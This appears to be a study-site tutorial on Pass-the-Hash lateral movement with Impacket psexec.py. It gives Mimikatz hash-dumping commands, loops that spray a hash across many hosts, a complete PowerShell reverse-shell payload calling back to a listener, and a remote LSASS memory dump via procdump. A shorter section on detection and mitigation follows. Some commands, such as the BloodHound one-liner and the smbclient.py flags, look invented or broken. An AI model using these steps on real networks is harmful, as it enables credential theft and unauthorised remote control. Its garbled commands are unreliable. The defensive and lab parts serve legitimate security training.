~/home/study/using-impacket-psexec-py-remote

Using Impacket psexec.py for Remote Execution with NTLM Hashes

Learn how to harvest NTLM hashes, leverage Impacket's psexec.py for remote command execution, move laterally using Pass-the-Hash, and detect/mitigate these techniques in Windows environments.

Introduction

Impacket is a collection of Python classes for working with network protocols. One of its most popular utilities, psexec.py, mimics the functionality of Microsoft’s Sysinternals PsExec, allowing an attacker (or a red-team) to execute commands on a remote Windows host using SMB and the Service Control Manager (SCM). When combined with a harvested NTLM hash, psexec.py becomes a powerful Pass-the-Hash (PtH) tool for lateral movement.

This guide dives deep into the end-to-end workflow: extracting NTLM hashes, invoking psexec.py with a -hashes argument, chaining multiple hops, and finally hardening your environment against these attacks.

Real-world incidents, such as the 2020 SolarWinds supply-chain breach, demonstrated how attackers repeatedly used PtH to pivot across compromised networks. Understanding the mechanics helps defenders spot the tell-tale signs before damage spreads.

Prerequisites

  • Solid grasp of Windows authentication: differences between NTLM and Kerberos, how NTLM challenge/response works, and why NTLM hashes can be re-used.
  • Knowledge of where NTLM hashes reside (SAM database, LSASS memory, LSA secrets) and typical extraction methods.
  • Basic proficiency with PowerShell for post-exploitation tasks and Python for running Impacket scripts.
  • Access to a lab environment with at least two Windows machines (one as a source, one as a target) and a Linux attack box with Impacket installed.

Core Concepts

Before executing anything, you must understand the three pillars that make psexec.py effective:

  1. SMB & DCE/RPC transport: Impacket opens a SMB session to the target, then uses the DCE/RPC svcctl interface to create a temporary service that runs the attacker-supplied command.
  2. NTLM authentication flow: The client sends a Type 1 negotiate message, the server replies with a Type 2 challenge, and the client responds with a Type 3 message containing the NTLM hash-derived response. If you supply a raw hash, Impacket builds the Type 3 packet directly.
  3. Pass-the-Hash (PtH): Because NTLM is a challenge-response protocol, possessing the hash is sufficient to authenticate as the original user without needing the clear-text password.

Visually, the flow looks like this:

Attacker (hash) → SMB negotiate → Challenge (target) → Hash-based response → Service creation → Remote command execution

Each step can be logged by Windows Event IDs (4624, 4768, 7045, etc.), making detection possible if you know what to look for.

Extracting NTLM hashes with Mimikatz

Mimikatz is the de-facto tool for dumping credentials from Windows memory. The most common scenario is extracting the NTLM hash of a privileged account (e.g., Administrator or a domain admin).

# On the compromised host, launch an elevated PowerShell prompt
powershell -NoProfile -ExecutionPolicy Bypass
# Load Mimikatz (if compiled as a PowerShell module) or use the binary
Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

The output includes entries like:

Domain : CONTOSO
Username : Administrator
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0

Copy the NTLM hash (the 32-character hexadecimal string) for later use. Remember to clear the console history and secure the hash; mishandling it can lead to accidental credential leakage.

Using psexec.py for remote command execution with a hash

With the hash in hand, you can now invoke psexec.py. The script supports several arguments, but the most relevant for PtH are -hashes (LM:NTLM) and -target-ip (if the NetBIOS name does not resolve).

# Example: run ipconfig on a remote host using only the NTLM hash
python3 -m impacket.examples.psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 -target-ip 10.0.1.20 Administrator@TARGETHOST "cmd /c ipconfig /all"

Explanation of the command:

  • -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 - The colon before the NTLM hash tells Impacket that the LM hash is empty (common for modern Windows systems).
  • -target-ip 10.0.1.20 - Bypasses DNS/NetBIOS name resolution.
  • Administrator@TARGETHOST - The credential format expected by Impacket (username@hostname).
  • "cmd /c ipconfig /all" - The command executed on the remote machine.

If the hash is valid and the target allows SMB (port 445) and has the Remote Service (svcctl) interface enabled, you will see output similar to:

[*] Requesting shares on TARGETHOST
[*] Found share ADMIN$ (c$)
[+] Service created successfully, executing command...
[+] Command output: Windows IP Configuration ...
[+] Service removed, cleanup complete.

Notice that no clear-text password traveled over the wire; the NTLM hash alone was sufficient.

Lateral movement strategies leveraging PtH

Once you have a foothold on one host, you can use psexec.py as a stepping stone to compromise additional systems. Below are three common patterns:

1. Straight-line hop

From the initial compromised host, extract a high-privilege hash and directly target a second server.

2. Credential-stealing pivot

After gaining admin rights on the first machine, run mimikatz again to harvest local Administrator hashes, then use those hashes to move laterally. This reduces the need for domain admin credentials.

3. Pass-the-Ticket (PtT) hybrid

If you also have Kerberos tickets, you can combine PtH for NTLM-only services (e.g., legacy applications) and PtT for Kerberos-based services, creating a multi-protocol lateral movement chain.

Automation tip: write a Bash loop that reads a list of IPs and runs psexec.py for each, storing success/failure in a CSV. This is how many post-exploitation frameworks (e.g., BloodHound, CrackMapExec) generate mass-pivot reports.

#!/bin/bash
HASH=31d6cfe0d16ae931b73c59d7e0c089c0
USER=Administrator
while read -r IP; do echo "[*] Trying $IP" python3 -m impacket.examples.psexec -hashes :$HASH -target-ip $IP $USER@$IP "whoami" > /dev/null && echo "$IP,Success" || echo "$IP,Fail" done < targets.txt > psexec_results.csv

Always respect the “kill-chain” principle: enumerate, credential-grab, lateral move, and then exfiltrate. Each step leaves forensic evidence.

Practical Examples

Example 1 - Deploy a reverse PowerShell shell

Instead of a one-off command, you can spawn an interactive PowerShell session that connects back to your listener.

# Set up a listener on the attacker machine (using Netcat or PowerShell)
nc -lvnp 4444

# On the attacker box, run psexec.py to launch PowerShell that connects back
python3 -m impacket.examples.psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 -target-ip 10.0.1.30 Administrator@TARGETHOST "powershell -NoP -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('10.0.1.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""

When the target executes the command, you obtain a full PowerShell prompt on the listener side, allowing you to run arbitrary commands as Administrator on the remote host.

Example 2 - Dump LSASS from a remote host via psexec

Combine psexec.py with procdump.exe (Sysinternals) to retrieve a memory dump of LSASS, then pull it back with SMB.

# Step 1: Copy procdump to ADMIN$ share
python3 -m impacket.examples.psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@TARGETHOST "copy C:\\Windows\\System32\\procdump.exe \\TARGETHOST\\ADMIN$\\procdump.exe"

# Step 2: Execute procdump to dump LSASS
python3 -m impacket.examples.psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@TARGETHOST "procdump -accepteula -ma lsass.exe C:\\Windows\\Temp\\lsass.dmp"

# Step 3: Retrieve the dump via smbclient or Impacket's smbclient.py
python3 -m impacket.examples.smbclient -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 TARGETHOST -share ADMIN$ -file lsass.dmp -output lsass.dmp

After acquiring lsass.dmp, you can run sekurlsa::ntlm inside Mimikatz to recover additional credentials, effectively chaining multiple PtH moves.

Tools & Commands

  • Impacket - Python library; scripts include psexec.py, wmiexec.py, secretsdump.py.
  • Mimikatz - Credential dumping, Pass-the-Hash, Pass-the-Ticket.
  • PowerShell - Invoke-Command, New-PSSession (Kerberos alternative).
  • BloodHound - Visualizes AD relationships to prioritize high-value targets for PtH.
  • Sysinternals Suite - procdump.exe, PsExec.exe (for comparison).

Sample one-liner to list all domain computers and attempt PtH with a known hash:

for host in $(bloodhound -c "MATCH (c:Computer) RETURN c.name" -d mydomain); do echo "[+] Trying $host" python3 -m impacket.examples.psexec -hashes :$HASH Administrator@$host "whoami"
done

Defense & Mitigation

Defending against PtH and psexec.py attacks involves a layered approach:

  1. Credential Hygiene: Enforce strong, unique passwords; enable Credential Guard and Remote Credential Guard to block NTLM hash export.
  2. Network Segmentation: Restrict SMB (port 445) traffic to only necessary hosts. Use firewalls or Windows Firewall with Advanced Security.
  3. Least Privilege: Remove unnecessary local admin rights; use tiered admin model (Tier 0, 1, 2).
  4. Audit & Logging: Enable Microsoft-recommended audit policies - 4624 (logon), 4625 (failed logon), 4648 (explicit credentials), 7045 (service creation). Forward logs to a SIEM.
  5. Endpoint Protection: Deploy EDR solutions that detect anomalous SMB service creation (Event ID 7045 with unusual service names).
  6. Patch Management: Apply patches for SMB vulnerabilities (e.g., CVE-2020-0796).

Sample Windows audit policy command (run as admin):

auditpol /set /subcategory:"Logoff" /failure:enable /success:enable
auditpol /set /subcategory:"Logon" /failure:enable /success:enable
auditpol /set /subcategory:"Other Logon/Logoff Events" /failure:enable /success:enable

In a SIEM, look for the following correlation:

  • Event 4624 with Authentication Package: NTLM AND Logon Type: 3 (Network).
  • Event 7045 creating a service named tmpXXXXX (Impacket default) within a short time window of the NTLM logon.

Common Mistakes

  • Using the wrong hash format: Remember the LM:NTLM format; a leading colon indicates an empty LM hash.
  • Neglecting SMB signing: Disabling signing makes MiTM attacks easier. Keep it enabled where possible.
  • Running psexec.py from a low-privileged host: Many environments block SMB from workstations; you need a foothold with network access.
  • Leaving the temporary service behind: If the script crashes, the service may persist, creating a detectable artifact.
  • Assuming Kerberos will work: PtH works only on NTLM-only services; attempting it on Kerberos-only endpoints will fail silently.

Real-World Impact

Threat actors such as APT29 and FIN7 have leveraged PtH to move laterally across enterprise networks after an initial phishing compromise. In a 2022 Red Canary report, 68 % of observed lateral movement incidents involved NTLM hash reuse, with psexec.py or native PsExec being the most common execution vector.

From a defender’s perspective, the “hash-only” nature of PtH means that password policies alone do not mitigate the risk; you must address the underlying transport (SMB) and credential storage mechanisms.

My experience in incident response shows that the first clue is often a burst of Event ID 7045 entries followed by multiple 4624 NTLM logons from the same source IP. Early detection can cut the attack chain before data exfiltration.

Practice Exercises

  1. Hash Extraction: Using a Windows 10 VM, enable the built-in Administrator account, set a known password, and run Mimikatz to extract the NTLM hash. Verify the hash with python -c "import hashlib; print(hashlib.new('md4', b'Password').hexdigest())".
  2. Basic psexec Execution: From a Kali Linux box, install Impacket, then execute whoami on a Windows Server 2019 target using the extracted hash. Capture the output and screenshot the event logs (4624, 7045) on the server.
  3. Automated Lateral Movement: Write a Bash script that reads a list of IPs and attempts to create a remote PowerShell reverse shell on each. Document which hosts succeeded and why the failures occurred (e.g., firewall, lack of admin rights).
  4. Detection Lab: Configure Windows Advanced Auditing to log Service Creation events. Generate a PtH attack, then create a Splunk (or ELK) query that flags Service Creation within 30 seconds of an NTLM logon from the same source IP.
  5. Mitigation Test: Enable Credential Guard on a Windows 10 VM and repeat the hash extraction. Observe that Mimikatz fails to retrieve LSASS hashes. Document the error messages.

Further Reading

  • Impacket documentation - github.com/SecureAuthCorp/impacket
  • “Pass the Hash” - Secura, 2021 - deep dive into NTLM internals.
  • Microsoft Docs - “Credential Guard and Remote Credential Guard” - mitigation guide.
  • BloodHound - Graphical AD enumeration for PtH prioritization.
  • MITRE ATT&CK - T1075 (Pass the Hash) and T1021.002 (SMB/Windows Admin Shares).

Summary

Impacket’s psexec.py turns a raw NTLM hash into a remote execution vector, enabling fast lateral movement across Windows environments. Mastering hash extraction with Mimikatz, crafting precise -hashes commands, and automating multi-hop attacks are essential skills for offensive practitioners. Defenders must focus on credential protection, SMB hardening, and robust auditing to spot the characteristic NTLM logon + service-creation pattern. By combining theory with hands-on labs, security professionals can both exploit and mitigate this pervasive technique.